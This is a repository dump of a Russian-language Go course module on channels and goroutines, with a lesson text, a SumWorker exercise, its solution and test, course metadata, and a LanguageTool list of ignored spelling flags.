-------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию-воркера `SumWorker(numsCh chan []int, sumCh chan int)`, которая суммирует переданные числа из канала *numsCh* и передает результат в канал *sumCh*: 3 | 4 | ```go 5 | numsCh := make(chan []int) 6 | sumCh := make(chan int) 7 | 8 | go SumWorker(numsCh, sumCh) 9 | numsCh <- []int{10, 10, 10} 10 | 11 | res := <-sumCh // 30 12 | ``` 13 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go существует постулат: "Do not communicate by sharing memory; instead, share memory by communicating" (Не общайтесь разделением памяти. Разделяйте память через общение). Для безопасной коммуникации между горутинами используется специальный тип данных: `chan` (канал). 3 | 4 | Как слайсы и мапы, каналы инициализируются с помощью функции `make`: 5 | 6 | ```go 7 | numCh := make(chan int) 8 | ``` 9 | 10 | Чтение и запись в канал происходит через конструкцию `<-`. Стрелка ставится перед, если канал читается и после, если записывается: 11 | 12 | ```go 13 | numCh := make(chan int) 14 | 15 | numCh <- 10 // записали значение в канал 16 | 17 | num := <-numCh // прочитали значение из канала и записали в переменную "num" 18 | ``` 19 | 20 | Чтение из канала блокирует текущую горутину, пока не вернется значение: 21 | 22 | ```go 23 | package main 24 | 25 | import ( 26 | "fmt" 27 | ) 28 | 29 | func main() { 30 | numCh := make(chan int) 31 | 32 | <-numCh // программа зависнет здесь и будет ошибка: fatal error: all goroutines are asleep - deadlock! 33 | 34 | fmt.Println("program has ended") // эта строка никогда не выведется 35 | } 36 | ``` 37 | 38 | Запись в канал так же блокирует текущую горутину, пока кто-то не прочтет значение. 39 | 40 | Каналы также можно использовать для задачи из прошлого урока: 41 | 42 | ```go 43 | package main 44 | 45 | import ( 46 | "fmt" 47 | ) 48 | 49 | func main() { 50 | fmt.Println(maxSum([]int{1, 2, 3}, []int{10, 20, 50})) // [10 20 50] 51 | } 52 | 53 | // суммирует значения каждого слайса nums и возвращает тот, который имеет наибольшую сумму 54 | func maxSum(nums1, nums2 []int) []int { 55 | // канал для результата первой суммы 56 | s1Ch := make(chan int) 57 | go sumParallel(nums1, s1Ch) 58 | 59 | // канал для результата второй суммы 60 | s2Ch := make(chan int) 61 | go sumParallel(nums2, s2Ch) 62 | 63 | // присваиваем результаты в переменные. Здесь программа будет заблокирована, пока не придут результаты из обоих каналов. 64 | s1, s2 := <-s1Ch, <-s2Ch 65 | 66 | if s1 > s2 { 67 | return nums1 68 | } 69 | 70 | return nums2 71 | } 72 | 73 | func sumParallel(nums []int, resCh chan int) { 74 | s := 0 75 | for _, n := range nums { 76 | s += n 77 | } 78 | 79 | // результат суммы передаем в канал 80 | resCh <- s 81 | } 82 | ``` 83 | 84 | Иногда требуется запустить обработчика в отдельной горутине, который будет выполнять работу на протяжении всего цикла жизни программы. С помощью конструкции `for range` можно читать из канала до того момента, пока он не будет закрыт: 85 | 86 | ```go 87 | package main 88 | 89 | import ( 90 | "fmt" 91 | "time" 92 | ) 93 | 94 | func main() { 95 | // создаем канал, в который будем отправлять сообщения 96 | msgCh := make(chan string) 97 | 98 | // вызываем функцию асинхронно в горутине 99 | go printer(msgCh) 100 | 101 | msgCh <- "hello" 102 | msgCh <- "concurrent" 103 | msgCh <- "world" 104 | 105 | // закрываем канал 106 | close(msgCh) 107 | 108 | // и ждем, пока printer закончит работу 109 | time.Sleep(100 * time.Millisecond) 110 | } 111 | 112 | func printer(msgCh chan string) { 113 | // читаем из канала, пока он открыт 114 | for msg := range msgCh { 115 | fmt.Println(msg) 116 | } 117 | 118 | fmt.Println("printer has finished") 119 | } 120 | ``` 121 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Каналы 3 | tips: 4 | - | 5 | [Effective Go — Channels](https://golang.org/doc/effective_go#channels) 6 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // SumWorker runs a worker that calculates a sum of nums from the numsCh and returns a result in the sumCh. 6 | func SumWorker(numsCh chan []int, sumCh chan int) { 7 | for nums := range numsCh { 8 | sumCh <- sum(nums) 9 | } 10 | } 11 | 12 | func sum(nums []int) int { 13 | s := 0 14 | for _, n := range nums { 15 | s += n 16 | } 17 | 18 | return s 19 | } 20 | 21 | // END 22 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestSumWorker(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | numsCh := make(chan []int) 12 | sumCh := make(chan int) 13 | 14 | go SumWorker(numsCh, sumCh) 15 | 16 | numsCh <- nil 17 | a.Equal(0, <-sumCh) 18 | 19 | numsCh <- []int{} 20 | a.Equal(0, <-sumCh) 21 | 22 | numsCh <- []int{10, 10, 10} 23 | a.Equal(30, <-sumCh) 24 | 25 | numsCh <- []int{500, 5, 10, 25} 26 | a.Equal(540, <-sumCh) 27 | } 28 | -------------------------------------------------------------------------------- /modules/50-concurrency/description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Конкурентное программирование 3 | description: | 4 | В этом модуле мы познакомимся с конкурентным программированием. Узнаем, что такое горутины и как коммуницировать между ними с помощью каналов. 5 | -------------------------------------------------------------------------------- /modules/ignored_languagetool_errors: -------------------------------------------------------------------------------- 1 | 50-concurrency/30-channels/ru/README.md:13:43:8 2 | ...``` Чтение из канала блокирует текущую горутину, пока не вернется значение: ```go ``` ... 3 | Возможно найдена орфографическая ошибка. 4 | Предлагаемые варианты: 5 | горстину, го рутину, гору тину 6 | ------------------------ 7 | 50-concurrency/30-channels/ru/README.md:18:43:8 8 | ...Запись в канал так же блокирует текущую горутину, пока кто-то не прочтет значение. Кана... 9 | Возможно найдена орфографическая ошибка. 10 | Предлагаемые варианты: 11 | горстину, го рутину, гору тину 12 | ------------------------ 13 | 50-concurrency/30-channels/ru/EXERCISE.md:1:11:15 14 | Реализуйте функцию-воркера ``, которая суммирует переданные числа ... 15 | Возможно найдена орфографическая ошибка. 16 | ------------------------ 17 | 50-concurrency/20-goroutines/ru/README.md:18:43:6 18 | ... Все потому что *i* передается в общем скоупе, следовательно, когда горутины будут вы... 19 | Возможно найдена орфографическая ошибка. 20 | Предлагаемые варианты: 21 | скопе, скупе 22 | ------------------------ 23 | 50-concurrency/10-concurrency-intro/ru/README.md:5:43:13 24 | ..., в течение одного временного периода. Например есть 2 инструкции, которые нужно выполнить: ... 25 | Пропущена запятая: «Например, есть». 26 | Предлагаемые варианты: 27 | Например, есть 28 | ------------------------ 29 | 40-func/40-defer/ru/EXERCISE.md:3:43:5 30 | ...* перебрать по порядку все словари *job.Dicts* и записать каждое ключ-значение в резу... 31 | Добавьте пробел между предложениями. 32 | Предлагаемые варианты: 33 | Dicts 34 | ------------------------ 35 | 40-func/40-defer/ru/EXERCISE.md:3:43:6 36 | ...люч-значение в результирующую мапу *job.Merged* * если в структуре *job.Dicts* меньше ... 37 | Добавьте пробел между предложениями. 38 | Предлагаемые варианты: 39 | Merged 40 | ------------------------ 41 | 40-func/40-defer/ru/EXERCISE.md:4:43:5 42 | ...пу *job.Merged* * если в структуре *job.Dicts* меньше 2-х словарей, возвращается ошиб... 43 | Добавьте пробел между предложениями. 44 | Предлагаемые варианты: 45 | Dicts 46 | ------------------------ 47 | 40-func/40-defer/ru/EXERCISE.md:5:43:5 48 | ...ается ошибка `` * если в структуре *job.Dicts* встречается словарь в виде нулевого зн... 49 | Добавьте пробел между предложениями. 50 | Предлагаемые варианты: 51 | Dicts 52 | ------------------------ 53 | 40-func/30-errors/ru/EXERCISE.md:6:43:12 54 | ...е тела нужно декодировать в структуры и валидировать. Хоть это и не лучшая практика делать ф... 55 | Возможно найдена орфографическая ошибка. 56 | Предлагаемые варианты: 57 | лидировать, вальсировать, сальдировать 58 | ------------------------ 59 | 40-func/30-errors/ru/EXERCISE.md:6:43:93 60 | ... и не лучшая практика делать функции, в которых происходит несколько действий, но для простоты примера реализуйте функцию ``, которая декодирует тело запроса из JSON в струк... 61 | Избыточные определения. В правильно составленном предложении не должно быть больше одного придаточного определения. 62 | ------------------------ 63 | 40-func/15-arg-pointers/ru/README.md:1:43:12 64 | ...рамки данного курса. В этом уроке будут рассмотренны только основы передачи указателей на ар... 65 | Возможно найдена орфографическая ошибка. 66 | Предлагаемые варианты: 67 | рассмотрены, рассмотрена, рассмотренные, рассмотренных, рассмотренный, рассмотренным, рассмотрено 68 | ------------------------ 69 | 40-func/15-arg-pointers/ru/README.md:16:43:1 70 | ...одинаковые значения — адрес переменной *a*, однако *b* и *c* хранятся в разных ад... 71 | Возможно нужна буква из кириллицы вместо аналогичной по начертанию латинской или наоборот. 72 | ------------------------ 73 | 40-func/15-arg-pointers/ru/README.md:16:43:1 74 | ...о обновление переменной *b* не изменит *c*. Поэтому если кто-то говорит про ссылк... 75 | Возможно нужна буква из кириллицы вместо аналогичной по начертанию латинской или наоборот. 76 | ------------------------ 77 | 20-array-slice-map/40-map-for/ru/README.md:11:43:14 78 | ... учитывать, что порядок ключей в мапе **рандомизирован**: ```go ``` Вывод: ```go ``` 79 | Возможно найдена орфографическая ошибка. 80 | Предлагаемые варианты: 81 | рандомизированна, рандомизированно, рандомизированны 82 | ------------------------ 83 | 20-array-slice-map/30-slice-sort/ru/README.md:1:21:16 84 | Сортировка массива — распространненая задача в программировании. Во всех язык... 85 | Возможно найдена орфографическая ошибка. 86 | Предлагаемые варианты: 87 | распространённая, распространенная, распространённою, распространённое, распространённой, распространённом, распространённую, распространена, распространения, распространенною, распространенное, распространенной, распространенном, распространенную, распространено, распространенья 88 | ------------------------ 89 | 20-array-slice-map/30-slice-sort/ru/README.md:6:43:12 90 | ...тип данных ``. Понятие интерфейса будет рассмотренно в следующих модулях курса. Следует запо... 91 | Возможно найдена орфографическая ошибка. 92 | Предлагаемые варианты: 93 | рассмотрено, рассмотрена, рассмотренною, рассмотренное, рассмотренной, рассмотренном, рассмотрены, рассмотрен но 94 | ------------------------ 95 | 20-array-slice-map/30-slice-sort/ru/EXERCISE.md:1:43:6 96 | ...ть in-place, то есть без выделения доп. памяти. 97 | Это предложение не начинается с заглавной буквы. 98 | Предлагаемые варианты: 99 | Памяти 100 | ------------------------ 101 | 20-array-slice-map/15-slice/ru/EXERCISE.md:1:31:6 102 | Реализуйте функцию ``, которая оторая удаляет первый элемент из слайса. Если ... 103 | Возможно найдена орфографическая ошибка. 104 | Предлагаемые варианты: 105 | которая, отёрся, отёртая, отёршая, отгорая, отирая, откроя, озоруя, вторая, ото рая 106 | ------------------------ 107 | 10-basics/70-inheritance-interfaces/ru/README.md:3:43:10 108 | ... разработчики Go не хотели. Поэтому всё тоже самое, что можно сделать в других языках прог... 109 | Пишется раздельно: «то же самое». 110 | Предлагаемые варианты: 111 | то же самое 112 | ------------------------ 113 | 10-basics/70-inheritance-interfaces/ru/README.md:7:43:15 114 | ...ание: 1. Повторное использование кода: класс-наследник получает всё содержимое класса-предка и... 115 | Возможно найдена орфографическая ошибка. 116 | ------------------------ 117 | 10-basics/70-inheritance-interfaces/ru/README.md:7:43:13 118 | ...класс-наследник получает всё содержимое класса-предка и добавляет своё. 2. Динамический полим... 119 | Возможно найдена орфографическая ошибка. 120 | ------------------------ 121 | 10-basics/70-inheritance-interfaces/ru/README.md:8:43:17 122 | ...о базового класса, так и на объекты его класса-наследника. 3. Динамическая диспетчеризация: Метод... 123 | Возможно найдена орфографическая ошибка. 124 | ------------------------ 125 | 10-basics/70-inheritance-interfaces/ru/README.md:12:43:2 126 | ...изации достигается за счёт использования интерфейсов. ## Композиция Рассмотрим ... 127 | Повтор пробела 128 | Предлагаемые варианты: 129 | 130 | ------------------------ 131 | 10-basics/70-inheritance-interfaces/ru/README.md:41:43:13 132 | ...Машина (``), Машина Скорой Помощи (``), Поливомоечная машина (``). Все они должны иметь метод... 133 | Возможно найдена орфографическая ошибка. 134 | Предлагаемые варианты: 135 | Поломоечная 136 | ------------------------ 137 | 10-basics/70-inheritance-interfaces/ru/README.md:59:43:37 138 | ...ние реализации не требуется. Любой тип, который предоставляет методы, которые указаны в интерфейсе, можно считать реа... 139 | Избыточные определения. В правильно составленном предложении не должно быть больше одного придаточного определения. 140 | ------------------------ 141 | 10-basics/70-inheritance-interfaces/ru/EXERCISE.md:1:43:4 142 | ...ащал строку "Мяу", экземпляр `` строку "Мууу", а экземпляр `` сообщение ``: ```go `... 143 | Возможно найдена орфографическая ошибка. 144 | Предлагаемые варианты: 145 | Муху, Муму, Муру, Мусу 146 | ------------------------ 147 | 10-basics/65-const/ru/EXERCISE.md:1:43:10 148 | ...зводительный RPC (Remote Procedure Call)-фреймворк для коммуникации между микросервисами. ... 149 | Возможно найдена орфографическая ошибка. 150 | Предлагаемые варианты: 151 | фреймворк 152 | ------------------------ 153 | 10-basics/40-bool/ru/README.md:1:43:1 154 | ...едставлен привычными значениями `` и `` c операторами: — `` (и) — `` (равно) — ``... 155 | Возможно нужна буква из кириллицы вместо аналогичной по начертанию латинской или наоборот. 156 | ------------------------ 157 | 10-basics/35-math/ru/README.md:1:43:25 158 | ...ть *int* и *uint*, так как они являются архитектурно-независимыми: в момент компиляции принимают значение... 159 | Возможно найдена орфографическая ошибка. 160 | ------------------------ 161 | 10-basics/35-math/ru/README.md:5:43:17 162 | ...ете сталкиваться с: * *int* — основной кросплатформенный тип целых чисел, может быть отрицательн... 163 | Возможно найдена орфографическая ошибка. 164 | Предлагаемые варианты: 165 | кроссплатформенный 166 | ------------------------ 167 | 10-basics/20-go-go-go/ru/README.md:1:43:17 168 | ...ык спроектирован для быстрой разработки высоконагруженных бэкендов. Если вы знакомы с императивны... 169 | Возможно найдена орфографическая ошибка. 170 | Предлагаемые варианты: 171 | высоко нагруженных 172 | ------------------------ 173 | 10-basics/20-go-go-go/ru/README.md:1:43:8 174 | ...ля быстрой разработки высоконагруженных бэкендов. Если вы знакомы с императивными языкам... 175 | Возможно найдена орфографическая ошибка. 176 | Предлагаемые варианты: 177 | бекхендов 178 | ------------------------ 179 | 10-basics/15-hello-world-debriefing/ru/README.md:11:43:11 180 | ...т ``: ```go ``` Пакеты выполняют роль неймспейсов (логически обособленные директории с ло... 181 | Возможно найдена орфографическая ошибка. 182 | Предлагаемые варианты: 183 | неспесив 184 | ------------------------ 185 | 10-basics/15-hello-world-debriefing/ru/README.md:32:43:9 186 | ...``` Сторонний пакет — это не объект, а неймспейс. Его можно использовать только как преф... 187 | Возможно найдена орфографическая ошибка. 188 | Предлагаемые варианты: 189 | сеймский 190 | ------------------------ 191 | 10-basics/15-hello-world-debriefing/ru/README.md:34:43:16 192 | ...первая буква заглавная. Публичность или экспортируемость означает, что мы можем использовать эту... 193 | Возможно найдена орфографическая ошибка. 194 | Предлагаемые варианты: 195 | экспортируем ость 196 | ------------------------ 197 | 10-basics/15-hello-world-debriefing/ru/README.md:38:43:6 198 | ...мы правильные переносы строк и отступы: табами, а не пробелами. В работе это не достав... 199 | Возможно найдена орфографическая ошибка. 200 | Предлагаемые варианты: 201 | тубами, абами, бабами, бобами, бубами, дубами, губами, кобами, кубами, набами, пабами, рабами, робами, собами, табаке, табаки, таборе, табуне, тагами, тахами, талами, танаме, танами, тапами, тарами, татами, тазами, тхабами, тоболе, тогами, тойбами, токами, толами, томами, тонами, топами, торами, торбами, тошами, тубам, тубусе, туфами, туками, туломе, тумбами, тунами, турами, тутами, тузами, тушами, тучами, жабами, зобами, зубами, штабами, шубами, чубами, Бобами, Бубами, Чубами, т абами 202 | ------------------------ 203 | 10-basics/15-hello-world-debriefing/ru/README.md:38:43:5 204 | ...бств, поскольку в языке есть встроенная тулза для форматирования кода. Ссылка на тулз... 205 | Возможно найдена орфографическая ошибка. 206 | Предлагаемые варианты: 207 | тула, тулуза, туаза, туазу, тулча, тулчу, туза 208 | ------------------------ 209 | 10-basics/15-hello-world-debriefing/ru/README.md:38:43:5 210 | ...улза для форматирования кода. Ссылка на тулзу лежит в разделе `` в конце урока. 211 | Возможно найдена орфографическая ошибка. 212 | Предлагаемые варианты: 213 | туазу, тулу, тулузу, тулчу, тузу 214 | ------------------------ 215 | 10-basics/10-hello-world/ru/README.md:3:43:7 216 | ...енным проектированием занимались Роберт Гризмер, Роб Пайк и Кен Томпсон. Публично язык ... 217 | Возможно найдена орфографическая ошибка. 218 | Предлагаемые варианты: 219 | Глезмер 220 | ------------------------ 221 | 10-basics/10-hello-world/ru/README.md:3:43:4 222 | ...рованием занимались Роберт Гризмер, Роб Пайк и Кен Томпсон. Публично язык был анонси... 223 | Возможно найдена орфографическая ошибка. 224 | Предлагаемые варианты: 225 | Гайк, Майк, Найк, Айк, Байк, Лайк, Пайко, П айк, Пай к 226 | ------------------------ 227 | 10-basics/10-hello-world/ru/README.md:11:43:8 228 | ...ожно, в понимании Алана Кея, Go — более ООП-язык, чем другие). И, конечно же, главной о... 229 | Возможно найдена орфографическая ошибка. 230 | ------------------------ 231 | 10-basics/10-hello-world/ru/README.md:15:43:17 232 | ...ния, инфраструктурных задач и написания высоконагруженных сервисов. Многие современные популярные... 233 | Возможно найдена орфографическая ошибка. 234 | Предлагаемые варианты: 235 | высоко нагруженных 236 | ------------------------ 237 | 10-basics/10-hello-world/ru/README.md:15:43:14 238 | ... начали использовать Go для перехода на микросервисную архитектуру. 239 | Возможно найдена орфографическая ошибка. 240 | Предлагаемые варианты: 241 | микро сервисную 242 | ------------------------ 243 | -------------------------------------------------------------------------------- /spec.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | language: 4 | docker_image: "hexletbasics/exercises-go" 5 | extension: go 6 | exercise_filename: solution.go 7 | exercise_test_filename: solution_test.go 8 | learn_as: second_language 9 | progress: completed 10 | name: Go 11 | --------------------------------------------------------------------------------